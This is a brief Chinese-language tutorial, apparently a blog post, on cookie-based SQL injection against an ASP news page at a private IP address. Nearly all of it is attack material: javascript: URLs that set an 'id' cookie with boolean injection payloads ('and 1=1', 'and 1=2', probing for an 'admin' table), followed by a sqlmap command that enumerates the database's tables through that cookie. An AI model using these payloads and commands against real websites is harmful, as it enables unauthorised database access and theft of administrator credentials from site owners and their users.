sqlmap cookie注入实战

目标http://192.168.1.105/shownews.asp?id=182

先手工注入

javascript:alert(document.cookie="id="+escape("182"))

回车

再打开一个窗口输入http://192.168.1.105/shownews.asp?

如果不报错的话就是存在cookie注入

javascript:alert(document.cookie="id="+escape("182 and 1=1"))

javascript:alert(document.cookie="id="+escape("182 and 1=2"))

javascript:alert(document.cookie="id="+escape("182 and exists(select * from admin)"))

等等

这时可以用sqlmap

sqlmap -u http://192.168.1.105/shownews.asp? --cookie  id=182 --level 2 --tables